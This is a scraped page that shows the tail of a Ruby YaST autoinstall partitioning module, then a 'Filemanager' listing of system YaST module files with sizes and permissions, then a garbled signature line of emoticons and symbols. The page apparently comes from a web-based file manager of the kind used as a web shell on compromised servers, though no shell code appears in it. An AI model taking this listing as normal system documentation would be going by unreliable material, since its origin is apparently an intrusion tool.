    publish :function => :addDrive, :type => "map <string, any> (map <string, any>)"
    publish :function => :updateDrive, :type => "void (map <string, any>)"
    publish :function => :getPartition, :type => "map <string, any> (integer, integer)"
    publish :function => :updatePartition, :type => "boolean (integer, integer, map <string, any>)"
    publish :function => :newPartition, :type => "integer (integer)"
    publish :function => :deletePartition, :type => "boolean (integer, integer)"
  end

  AutoinstPartPlan = AutoinstPartPlanClass.new
  AutoinstPartPlan.main
end

Filemanager

Name Type Size Permission Actions
YaPI Folder 0755
YaST Folder 0755
ALog.rb File 3.26 KB 0644
AddOnProduct.rb File 78.59 KB 0644
Address.rb File 3.45 KB 0644
Arch.rb File 15.59 KB 0644
AsciiFile.rb File 12.59 KB 0644
Assert.rb File 2.06 KB 0644
AuditLaf.rb File 21.16 KB 0644
AuthServer.pm File 172.86 KB 0644
AutoInstall.rb File 11.34 KB 0644
AutoInstallRules.rb File 36.37 KB 0644
AutoinstClass.rb File 7.62 KB 0644
AutoinstClone.rb File 6.82 KB 0644
AutoinstCommon.rb File 3.18 KB 0644
AutoinstConfig.rb File 17.86 KB 0644
AutoinstData.rb File 2.37 KB 0644
AutoinstDrive.rb File 14.28 KB 0644
AutoinstFile.rb File 9.3 KB 0644
AutoinstFunctions.rb File 1.1 KB 0644
AutoinstGeneral.rb File 17.48 KB 0644
AutoinstImage.rb File 1.75 KB 0644
AutoinstLVM.rb File 21.58 KB 0644
AutoinstPartPlan.rb File 36.37 KB 0644
AutoinstPartition.rb File 14.53 KB 0644
AutoinstRAID.rb File 7.73 KB 0644
AutoinstScripts.rb File 36.75 KB 0644
AutoinstSoftware.rb File 38.57 KB 0644
AutoinstStorage.rb File 48.62 KB 0644
Autologin.rb File 4.82 KB 0644
BootArch.rb File 3.37 KB 0644
BootStorage.rb File 10.15 KB 0644
BootSupportCheck.rb File 7.36 KB 0644
Bootloader.rb File 15.87 KB 0644
CWM.rb File 39.16 KB 0644
CWMFirewallInterfaces.rb File 38.92 KB 0644
CWMServiceStart.rb File 27.49 KB 0644
CWMTab.rb File 13.2 KB 0644
CWMTable.rb File 14.57 KB 0644
CWMTsigKeys.rb File 24.93 KB 0644
CaMgm.rb File 12.9 KB 0644
Call.rb File 1.53 KB 0644
CheckMedia.rb File 6.1 KB 0644
CommandLine.rb File 52.89 KB 0644
Confirm.rb File 6.95 KB 0644
Console.rb File 8.63 KB 0644
ContextMenu.rb File 1.4 KB 0644
Crash.rb File 5.26 KB 0644
Cron.rb File 2.85 KB 0644
CustomDialogs.rb File 2.52 KB 0644
DNS.rb File 23.77 KB 0644
DebugHooks.rb File 4.89 KB 0644
DefaultDesktop.rb File 13.29 KB 0644
Desktop.rb File 12.5 KB 0644
DevicesSelectionBox.rb File 5.67 KB 0644
DhcpServer.pm File 70.43 KB 0644
DhcpServerUI.rb File 10.43 KB 0644
DialogTree.rb File 11.76 KB 0644
Directory.rb File 4.99 KB 0644
Distro.rb File 2.29 KB 0644
DnsData.pm File 1.65 KB 0644
DnsFakeTabs.rb File 751 B 0644
DnsRoutines.pm File 2.81 KB 0644
DnsServer.pm File 57.26 KB 0644
DnsServerAPI.pm File 68.81 KB 0644
DnsServerHelperFunctions.rb File 11.83 KB 0644
DnsServerUI.rb File 3.78 KB 0644
DnsTsigKeys.pm File 2.53 KB 0644
DnsZones.pm File 22.9 KB 0644
DontShowAgain.rb File 13.03 KB 0644
DualMultiSelectionBox.rb File 24.91 KB 0644
Encoding.rb File 4.54 KB 0644
Event.rb File 4.89 KB 0644
FTP.rb File 2.32 KB 0644
FileChanges.rb File 9.39 KB 0644
FileSystems.rb File 69.86 KB 0644
FileUtils.rb File 17.64 KB 0644
FtpServer.rb File 36.4 KB 0644
GPG.rb File 13.58 KB 0644
GPGWidgets.rb File 12.34 KB 0644
GetInstArgs.rb File 4.04 KB 0644
Greasemonkey.rb File 6.86 KB 0644
HTML.rb File 6.11 KB 0644
HTTP.rb File 3.37 KB 0644
HWConfig.rb File 5.1 KB 0644
Hooks.rb File 5.76 KB 0644
Host.rb File 10.78 KB 0644
Hostname.rb File 7.35 KB 0644
Hotplug.rb File 5.64 KB 0644
HttpServer.rb File 26.81 KB 0644
HttpServerWidgets.rb File 120.87 KB 0644
HwStatus.rb File 3.08 KB 0644
IP.rb File 12.65 KB 0644
IPSecConf.rb File 22.58 KB 0644
Icon.rb File 5.43 KB 0644
ImageInstallation.rb File 49.56 KB 0644
Inetd.rb File 28.29 KB 0644
Initrd.rb File 16.41 KB 0644
InstData.rb File 4.13 KB 0644
InstError.rb File 6.95 KB 0644
InstExtensionImage.rb File 15.48 KB 0644
InstFunctions.rb File 5.12 KB 0644
InstShowInfo.rb File 2.81 KB 0644
InstURL.rb File 6.06 KB 0644
Installation.rb File 10.29 KB 0644
Instserver.rb File 43.86 KB 0644
Integer.rb File 2.99 KB 0644
Internet.rb File 9.29 KB 0644
IscsiClient.rb File 9.74 KB 0644
IscsiClientLib.rb File 55.9 KB 0644
IsnsServer.rb File 11.07 KB 0644
Kdump.rb File 38.8 KB 0644
Kerberos.rb File 37.03 KB 0644
Kernel.rb File 22.96 KB 0644
KeyManager.rb File 8.47 KB 0644
Keyboard.rb File 50.48 KB 0644
Kickstart.rb File 23.84 KB 0644
Label.rb File 9.11 KB 0644
Lan.rb File 32.38 KB 0644
LanItems.rb File 94.36 KB 0644
Language.rb File 45.33 KB 0644
Ldap.rb File 63.96 KB 0644
LdapDatabase.rb File 77.2 KB 0644
LdapPopup.rb File 21.03 KB 0644
LdapServerAccess.pm File 8.73 KB 0644
Linuxrc.rb File 7.53 KB 0644
LogView.rb File 21.39 KB 0644
LogViewCore.rb File 6.32 KB 0644
Mail.rb File 43.92 KB 0644
MailAliases.rb File 6.88 KB 0644
MailTable.pm File 3.25 KB 0644
MailTableInclude.pm File 4.79 KB 0644
Map.rb File 4.27 KB 0644
Message.rb File 11.39 KB 0644
MiniWorkflow.rb File 2.88 KB 0644
Misc.rb File 11.8 KB 0644
Mode.rb File 10.76 KB 0644
ModuleLoading.rb File 9.26 KB 0644
ModulesConf.rb File 4.24 KB 0644
Mtab.rb File 1.24 KB 0644
NetHwDetection.rb File 8.46 KB 0644
Netmask.rb File 5.08 KB 0644
Network.rb File 1.3 KB 0644
NetworkConfig.rb File 5.9 KB 0644
NetworkInterfaces.rb File 56.49 KB 0644
NetworkPopup.rb File 7.86 KB 0644
NetworkService.rb File 12.71 KB 0644
NetworkStorage.rb File 1.91 KB 0644
Nfs.rb File 22.35 KB 0644
NfsOptions.rb File 5.63 KB 0644
NfsServer.rb File 10.64 KB 0644
Nis.rb File 42.75 KB 0644
NisServer.rb File 39.93 KB 0644
Nsswitch.rb File 3.6 KB 0644
NtpClient.rb File 46.6 KB 0644
OSRelease.rb File 3.68 KB 0644
OneClickInstall.rb File 28.86 KB 0644
OneClickInstallStandard.rb File 4.35 KB 0644
OneClickInstallWidgets.rb File 16.54 KB 0644
OneClickInstallWorkerFunctions.rb File 10.6 KB 0644
OneClickInstallWorkerResponse.rb File 5.63 KB 0644
OnlineUpdate.rb File 4.04 KB 0644
OnlineUpdateCallbacks.rb File 19.62 KB 0644
OnlineUpdateDialogs.rb File 16.85 KB 0644
Package.rb File 7.78 KB 0644
PackageAI.rb File 5.03 KB 0644
PackageCallbacks.rb File 87.95 KB 0644
PackageCallbacksInit.rb File 2.12 KB 0644
PackageInstallation.rb File 8.49 KB 0644
PackageKit.rb File 2.67 KB 0644
PackageLock.rb File 6.77 KB 0644
PackageSlideShow.rb File 42.52 KB 0644
PackageSystem.rb File 16.87 KB 0644
Packages.rb File 94.3 KB 0644
PackagesProposal.rb File 11.79 KB 0644
PackagesUI.rb File 24.29 KB 0644
Pam.rb File 3.73 KB 0644
Partitions.rb File 33.23 KB 0644
Popup.rb File 57.78 KB 0644
PortAliases.rb File 10.47 KB 0644
PortRanges.rb File 22.92 KB 0644
Printer.rb File 112.82 KB 0644
Printerlib.rb File 31.82 KB 0644
Product.rb File 8.9 KB 0644
ProductControl.rb File 52.95 KB 0644
ProductFeatures.rb File 12.23 KB 0644
ProductLicense.rb File 50.23 KB 0644
ProductProfile.rb File 8.01 KB 0644
Profile.rb File 29.95 KB 0644
ProfileLocation.rb File 9.45 KB 0644
Progress.rb File 28.17 KB 0644
Proxy.rb File 15.65 KB 0644
Punycode.rb File 11.81 KB 0644
Region.rb File 1.82 KB 0644
RelocationServer.rb File 14.65 KB 0644
Remote.rb File 10.42 KB 0644
Report.rb File 25.13 KB 0644
RichText.rb File 4.01 KB 0644
RootPart.rb File 71.9 KB 0644
Routing.rb File 17.25 KB 0644
SLP.rb File 7.06 KB 0644
SLPAPI.pm File 879 B 0644
SSHAuthorizedKeys.rb File 3.74 KB 0644
SUSERelease.rb File 2.82 KB 0644
Samba.rb File 38.14 KB 0644
SambaAD.pm File 12.46 KB 0644
SambaConfig.pm File 37.4 KB 0644
SambaNetJoin.pm File 13.14 KB 0644
SambaNmbLookup.pm File 6.58 KB 0644
SambaWinbind.pm File 5.33 KB 0644
Security.rb File 27.79 KB 0644
Sequencer.rb File 12.6 KB 0644
Service.rb File 15.66 KB 0644
ServicesProposal.rb File 2.37 KB 0644
SignatureCheckCallbacks.rb File 11.1 KB 0644
SignatureCheckDialogs.rb File 36.74 KB 0644
SlideShow.rb File 33.27 KB 0644
SlideShowCallbacks.rb File 21.04 KB 0644
Slides.rb File 7.56 KB 0644
SlpService.rb File 5.37 KB 0644
Snapper.rb File 16.93 KB 0644
SnapperDbus.rb File 6.73 KB 0644
SourceDialogs.rb File 83.88 KB 0644
SourceManager.rb File 25.54 KB 0644
SourceManagerSLP.rb File 18.66 KB 0644
SpaceCalculation.rb File 35.03 KB 0644
Squid.rb File 51.25 KB 0644
SquidACL.rb File 16.84 KB 0644
SquidErrorMessages.rb File 5.59 KB 0644
Stage.rb File 3.6 KB 0644
Storage.rb File 234.29 KB 0644
StorageClients.rb File 6.68 KB 0644
StorageControllers.rb File 13.47 KB 0644
StorageDevices.rb File 19.86 KB 0644
StorageFields.rb File 45.67 KB 0644
StorageIcons.rb File 3.18 KB 0644
StorageInit.rb File 3.62 KB 0644
StorageProposal.rb File 222.63 KB 0644
StorageSettings.rb File 6.33 KB 0644
StorageSnapper.rb File 3.96 KB 0644
StorageUpdate.rb File 24.13 KB 0644
String.rb File 30.46 KB 0644
SuSEFirewall.rb File 1.29 KB 0644
SuSEFirewall4Network.rb File 12.24 KB 0644
SuSEFirewallCMDLine.rb File 53.73 KB 0644
SuSEFirewallExpertRules.rb File 13.11 KB 0644
SuSEFirewallProposal.rb File 25.99 KB 0644
SuSEFirewallServices.rb File 2.87 KB 0644
SuSEFirewallUI.rb File 2 KB 0644
Sudo.rb File 18.06 KB 0644
Summary.rb File 6.22 KB 0644
Support.rb File 14.83 KB 0644
Sysconfig.rb File 39.21 KB 0644
SystemFilesCopy.rb File 16.27 KB 0644
Systemd.rb File 4.88 KB 0644
TFTP.rb File 2.08 KB 0644
TabPanel.rb File 4.36 KB 0644
TablePopup.rb File 34.41 KB 0644
TftpServer.rb File 10.72 KB 0644
Timezone.rb File 35.64 KB 0644
TreePanel.rb File 5.24 KB 0644
TypeRepository.rb File 5.03 KB 0644
UIHelper.rb File 5.56 KB 0644
URL.rb File 22.61 KB 0644
URLRecode.rb File 1.88 KB 0644
Update.rb File 33.73 KB 0644
UserSettings.rb File 3.41 KB 0644
Users.pm File 193.07 KB 0644
UsersCache.pm File 32.48 KB 0644
UsersLDAP.pm File 51.51 KB 0644
UsersPasswd.pm File 24.75 KB 0644
UsersPluginKerberos.pm File 7.22 KB 0644
UsersPluginLDAPAll.pm File 12.98 KB 0644
UsersPluginLDAPPasswordPolicy.pm File 10.49 KB 0644
UsersPluginLDAPShadowAccount.pm File 11.49 KB 0644
UsersPluginQuota.pm File 12.5 KB 0644
UsersPlugins.pm File 4.73 KB 0644
UsersRoutines.pm File 20.04 KB 0644
UsersSimple.pm File 26.37 KB 0644
UsersUI.rb File 19.49 KB 0644
ValueBrowser.rb File 6.97 KB 0644
Vendor.rb File 6.1 KB 0644
VirtConfig.rb File 22.91 KB 0644
WOL.rb File 4.66 KB 0644
Wizard.rb File 53.13 KB 0644
WizardHW.rb File 18.16 KB 0644
WorkflowManager.rb File 53.17 KB 0644
XML.rb File 6.33 KB 0644
XVersion.rb File 3.7 KB 0644
Y2ModuleConfig.rb File 13.11 KB 0644
YPX.pm File 1.1 KB 0644
YaPI.pm File 5.3 KB 0644
services_manager.rb File 2.41 KB 0644
services_manager_service.rb File 18.04 KB 0644
services_manager_target.rb File 5.04 KB 0644
systemd_service.rb File 6.67 KB 0644
systemd_socket.rb File 3.61 KB 0644
systemd_target.rb File 3.53 KB 0644
Σ(゚Д゚;≡;゚д゚)duo❤️a@$%^🥰&%PDF-0-1